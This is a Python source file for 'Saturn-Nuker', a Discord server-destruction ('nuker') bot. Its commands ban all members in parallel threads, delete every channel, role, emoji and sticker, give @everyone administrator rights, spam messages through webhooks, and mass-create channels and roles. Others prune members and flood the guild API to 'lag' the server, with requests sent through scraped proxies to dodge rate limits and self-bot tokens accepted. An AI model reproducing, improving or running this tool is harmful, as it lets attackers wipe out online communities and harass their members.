import os, random, logging, sys, json, time, requests, discord, ctypes, threading; from pystyle import *; from itertools import cycle; from discord.ext import commands; from discord import Permissions


def clear():
    os.system('cls')

def title(_str):
    system = os.name
    if system == 'nt':
        ctypes.windll.kernel32.SetConsoleTitleW(f"{_str}")
    else:
        pass


with open('settings.json') as f:
    config = json.load(f)
    logs = config['General-Settings']['Show-Logs']
    spamamount = config['General-Settings']['Spam-Amount']
    roleamount = config['General-Settings']['Role-Amount']
    channelamount = config['General-Settings']['Channel-Amount']
    token = config['Bot-Settings']['Token']
    prefix = config['Bot-Settings']['Prefix']
    bot = config['Bot-Settings']['Bot']
    nname = config['Nuke-Settings']['Nick-Name']
    sname = config['Nuke-Settings']['Server-Name']
    ranna = config['Nuke-Settings']['Rename-Channels']
    channelnames = config['Nuke-Settings']['Channel-Names']
    rolenames = config['Nuke-Settings']['Role-Names']
    webusername = config['Nuke-Settings']['Webhook-Usernames']
    spamcontent = config['Nuke-Settings']['Webhook-Contents']

Version = "(V1)"
Author = "Async"
#api = "v9"
session = requests.Session()

logging.basicConfig(
    level=logging.INFO,
    format="\033[38;5;21m[\033[0m%(asctime)s.%(msecs)03d\033[38;5;21m] \033[0m%(message)s\033[0m",
    datefmt="%H:%M:%S"
)



def ProxyScrape():
      out_file = "Data/proxies.txt"
      proxies = open(out_file,'ab')
      r1 = requests.get('https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt')
      r2 = requests.get('https://api.openproxylist.xyz/http.txt')
      proxies.write(r1.content)
      proxies.write(r2.content)
      logging.info(f"Successfully Scraped Proxies")
      proxies.close

proxies = open('data/proxies.txt').read().split('\n')
proxy = cycle(proxies)

def getLicense():
    if(not config['General-Settings']['Show-License']):
        return({})
    title(f"[Saturn-Nuker {Version} | Made By {Author} - License]")
    return(License())

def getProxy():
    if(not config['General-Settings']['Use-Proxies']):
        return({})
    return({f'https://': f'http://{proxy}'})

def getProxyScrape():
    if(not config['General-Settings']['Scrape-Proxies']):
        return({})
    return(ProxyScrape())

client = commands.Bot(command_prefix = prefix, intents = discord.Intents.all(), case_insensitive = True, help_command = None)

if bot:
  headers = {"Authorization": f"Bot {token}"}
else:
  headers = {"Authorization": token}

sessions = requests.Session()

@client.event
async def on_ready():
        try:
                await client.change_presence(status=discord.Status.invisible)
        except Exception:
                pass
        main()

@client.event
async def on_command_error(ctx, error):
    if isinstance(error, commands.errors.CommandNotFound):
        logging.info(f"The command you specified was not found.")

def main():
    logging.info(f"Successfully logged in as {client.user}")
    time.sleep(1)
    logging.info(f"Successfully changed presence status to invisible")
    time.sleep(1)
    logging.info(f"Successfully loaded settings.json . . .")
    getProxyScrape()
    proxycount = len(open('data/proxies.txt').readlines())
    idcount = len(open('data/ids.txt').readlines())
    logging.info(f"Successfully loaded data . . .")
    time.sleep(1)
    logging.info(f"Successfully loaded menu . . .")
    time.sleep(1)
    clear()
    title(f"[Saturn-Nuker {Version} | Made By {Author}]")
    print(Colorate.Horizontal(Colors.rainbow, f"""
                        .▄▄ ·  ▄▄▄· ▄▄▄▄▄▄• ▄▌▄▄▄   ▐ ▄
                        ▐█ ▀. ▐█ ▀█ •██  █▪██▌▀▄ █·•█▌▐█
                        ▄▀▀▀█▄▄█▀▀█  ▐█.▪█▌▐█▌▐▀▀▄ ▐█▐▐▌
                        ▐█▄▪▐█▐█ ▪▐▌ ▐█▌·▐█▄█▌▐█•█▌██▐█▌
                         ▀▀▀▀  ▀  ▀  ▀▀▀  ▀▀▀ .▀  ▀▀▀ █▪
> [Saturn-Nuker {Version} 2022]
> Author ; {Author}
______________________________________________________________________
Prefix ; {prefix}
Client ; {client.user}
Proxys ; {proxycount}
Ids ; {idcount}
______________________________________________________________________
[Commands] :
restart = Restarts the bot.  | dc = Deletes all channels.  | admin = Gives everyone admin perms.
ban = Bans all members.      | dr = Deletes all roles.     | spam = Webhook spam.
prune = Prune members.       | cc = Creates channels.      | say = Reply back with same message.
tb = Bans IDS.               | cr = Creates roles.         | logout = Exits.
rs = Renames Server          | rc = Renames all Channels.  | nn = Nicknames all.
de = Delete all emojis.      | ds = Delete all stickers.   | lag = Audit Hangs.""",1))
    time.sleep(1)
    logging.info(f"Status : Working")
    time.sleep(1)
    logging.info(f"Ready!")

@client.command()
async def restart(ctx):
    await ctx.message.delete()
    logging.info(f"Restarting . . .")
    os.system('python main.py')
    sys.exit()

@client.command()
async def rs(ctx):
    await ctx.message.delete()
    await ctx.guild.edit(name=sname)
    logging.info(f"Successfully Renamed Server to : {sname}")

@client.command()
async def rc(ctx):
    logging.info(f"Renaming Channels . . .")
    await ctx.message.delete()
    for channel in ctx.guild.channels:
        await channel.edit(name=(random.choice(ranna)))
        if logs == True:
            logging.info(f"Successfully Renamed Channel to : {(random.choice(ranna))}")

@client.command()
async def nn(ctx):
  await ctx.message.delete()
  logging.info(f"Nicking All")
  for member in ctx.guild.members:
    try:
      await member.edit(nick=nname)
      if logs == True:
          logging.info(f"Successfully Nick Named . . .")
    except:
      pass

@client.command()
async def de(ctx):
    await ctx.message.delete()
    for emoji in list(ctx.guild.emojis):
        try:
            await emoji.delete()
            if logs == True:
                logging.info(f"Successfully Deleted Emoji . . .")
        except:
            return

@client.command()
async def ds(ctx):
    await ctx.message.delete()
    for sticker in list(ctx.guild.stickers):
        try:
            await sticker.delete()
            if logs == True:
                logging.info(f"Successfully Deleted Stickers . . .")
        except:
            return

@client.command()
async def lag(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error!")
      time.sleep(5)
      sys.exit()
    logging.info(f"Started Lagging the server . . .")
    for i in range(200):
        y = requests.patch(f'https://discord.com/api/v9/guilds/{guild}', proxies=getProxy(), headers=headers, json={"features":["COMMUNITY"],"verification_level":1,"default_message_notifications":0,"explicit_content_filter":2,"rules_channel_id":"1","public_updates_channel_id":"1"})
        if logs == True:
            if y.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Created Community")
            if 'retry_after' in y.text:
                time.sleep(y.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {y.json()['retry_after']}s.")
            if y.status_code == 400:
                logging.info(f"Failed")
        r = requests.patch(f'https://discord.com/api/v9/guilds/{guild}', proxies=getProxy(), headers=headers, json=
            {'description': None, 'features': {'0': 'NEWS'},
            'preferred_locale': 'en-US',
            'public_updates_channel_id': None, 'rules_channel_id': None})
        if logs == True:
            if r.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Deleted Community")
            if 'retry_after' in r.text:
                time.sleep(r.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {r.json()['retry_after']}s.")
            if r.status_code == 400:
                logging.info(f"Failed")

@client.command()
async def ban(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def ban(i):
        s = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/bans/{i}", proxies=getProxy(), headers=headers)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Banned : {i}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Banning Members!")
        for i in range(3):
            for member in list(ctx.guild.members):
                threading.Thread(target=ban, args=(member.id, )).start()
    except Exception as e:
      print(f"Error : {e}")
      time.sleep(3)
      sys.exit()

@client.command()
async def tb(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
       users = open("data/ids.txt")
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def ban(x):
        s = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/bans/{x}", proxies=getProxy(), headers=headers)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Banned : {x}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
       logging.info(f"Test Banning!")
       for x in users:
           workers = []
           threading.Thread(target=ban, args=(x, )).start()
    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.command()
async def dr(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def DeleteRoles(i):
          s = sessions.delete(f"https://discord.com/api/v9/guilds/{guild}/roles/{i}", proxies=getProxy(), headers=headers)
          if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Deleted Role : {i}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Deleting Roles . . .")
        for i in range(3):
            for role in list(ctx.guild.roles):
                threading.Thread(target=DeleteRoles, args=(role.id, )).start()
    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.command()
async def dc(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def DeleteChannels(i):
        s = sessions.delete(f"https://discord.com/api/v9/channels/{i}", proxies=getProxy(), headers=headers)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Deleted Channel : {i}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Deleted Channel . . .")
        for i in range(3):
         for channel in list(ctx.guild.channels):
            threading.Thread(target=DeleteChannels,args=(channel.id, )).start()
    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.command()
async def cc(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def CreateChannels(i):
        json = {
                'name': random.choice(channelnames),
                'type': 0
            }
        s = sessions.post(f"https://discord.com/api/v9/guilds/{guild}/channels", proxies=getProxy(), headers=headers, json=json)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Created Channel : {random.choice(channelnames)}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Creating {channelamount} Channels . . .")
        for i in range(int(channelamount)):
           threading.Thread(target=CreateChannels,args=(random.choice(channelnames), )).start()

    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.command()
async def cr(ctx):
    try:
       await ctx.message.delete()
       guild = ctx.guild.id
    except:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()
    def CreateRoles(i):
        json = {
                'name': random.choice(rolenames),
                'type': 0
            }
        s = sessions.post(f"https://discord.com/api/v9/guilds/{guild}/roles", proxies=getProxy(), headers=headers, json=json)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Created Roles : {random.choice(rolenames)}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Creating {roleamount} Role . . .")
        for i in range(int(roleamount)):
           threading.Thread(target=CreateRoles,args=(random.choice(rolenames), )).start()

    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.command()
async def admin(ctx):
  try:
       await ctx.message.delete()
       guild = ctx.guild
  except:
      logging.info(f"Error")
      time.sleep(5)
      sys.exit()
  try:
    logging.info(f"Giving Admin Perms . . .")
    role = discord.utils.get(guild.roles, name = "@everyone")
    await role.edit(permissions = Permissions.all())
    if logs == True:
        logging.info(f"Successfully gave admin perms to Role : [@everyone]")
  except:
    if logs == True:
        logging.info(f"Failed to give Admin Perms to Role : [@everyone]")
        pass

@client.command()
async def spam(ctx):
    try:
        await ctx.message.delete()
        guild = ctx.guild.id
    except:
        logging.info(f"Error ; {e}")
        time.sleep(5)
        sys.exit()
    def mass_ping(i):
        json = {
        "content": random.choice(spamcontent),
            "tts": False
        }
        s = sessions.post(f"https://discord.com/api/v9/channels/{i}/messages", proxies=getProxy(), headers=headers, json=json)
        if logs == True:
            if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
                logging.info(f"Spammed : {random.choice(spamcontent)}")
            if 'retry_after' in s.text:
                time.sleep(s.json()['retry_after'])
                logging.info(f"RateLimited, Retrying After : {s.json()['retry_after']}s.")
            if s.status_code == 400:
                logging.info(f"Failed")
    try:
        logging.info(f"Spamming {spamamount}")
        for i in range(int(spamamount)):
            for channel in list(ctx.guild.channels):
                threading.Thread(target=mass_ping, args=(channel.id, )).start()
    except Exception as e:
      logging.info(f"Error ; {e}")
      time.sleep(5)
      sys.exit()

@client.event
async def on_guild_channel_create(channel):
        try:
                webhook = await channel.create_webhook(name=webusername)
        except Exception:
                pass

@client.command()
async def logout(ctx):
    await ctx.bot.logout()
    logging.info(f"{client.user} Logged Out Successfully . . .")


@client.command()
async def say(ctx,*,content):
    await ctx.send(content)
    logging.info(f"{client.user} Successfully Send {content}.")

@client.command()
async def prune(ctx):
    try:
        await ctx.message.delete()
        guild = ctx.guild.id
    except:
        logging.info(f"Error!")
        time.sleep(5)
        sys.exit()
    await guild.prune_members(days=1, compute_prune_count=False, roles=guild.roles)
    logging.info(f"{client.user} Successfully Pruned Members.")

if __name__ == "__main__":
    clear()
    getLicense()
    time.sleep(5)
    clear()
    title(f"[Saturn-Nuker {Version} | Made By {Author} - Loading . . .]")
    print(Colorate.Horizontal(Colors.rainbow, f"""
                        .▄▄ ·  ▄▄▄· ▄▄▄▄▄▄• ▄▌▄▄▄   ▐ ▄
                        ▐█ ▀. ▐█ ▀█ •██  █▪██▌▀▄ █·•█▌▐█
                        ▄▀▀▀█▄▄█▀▀█  ▐█.▪█▌▐█▌▐▀▀▄ ▐█▐▐▌
                        ▐█▄▪▐█▐█ ▪▐▌ ▐█▌·▐█▄█▌▐█•█▌██▐█▌
                         ▀▀▀▀  ▀  ▀  ▀▀▀  ▀▀▀ .▀  ▀▀▀ █▪
> [Saturn-Nuker {Version} 2022]
> Author ; {Author}
______________________________________________________________________
                                [LOG]:                                """))
    logging.info(f"Loading Client . . .")
    time.sleep(3)
    try:
        client.run(token, reconnect=True, bot=bot)
    except Exception:
        logging.info(f"Wrong account token or a bot token without all intents or you're currently locked from accessing discord api.")
        time.sleep(5)
        sys.exit()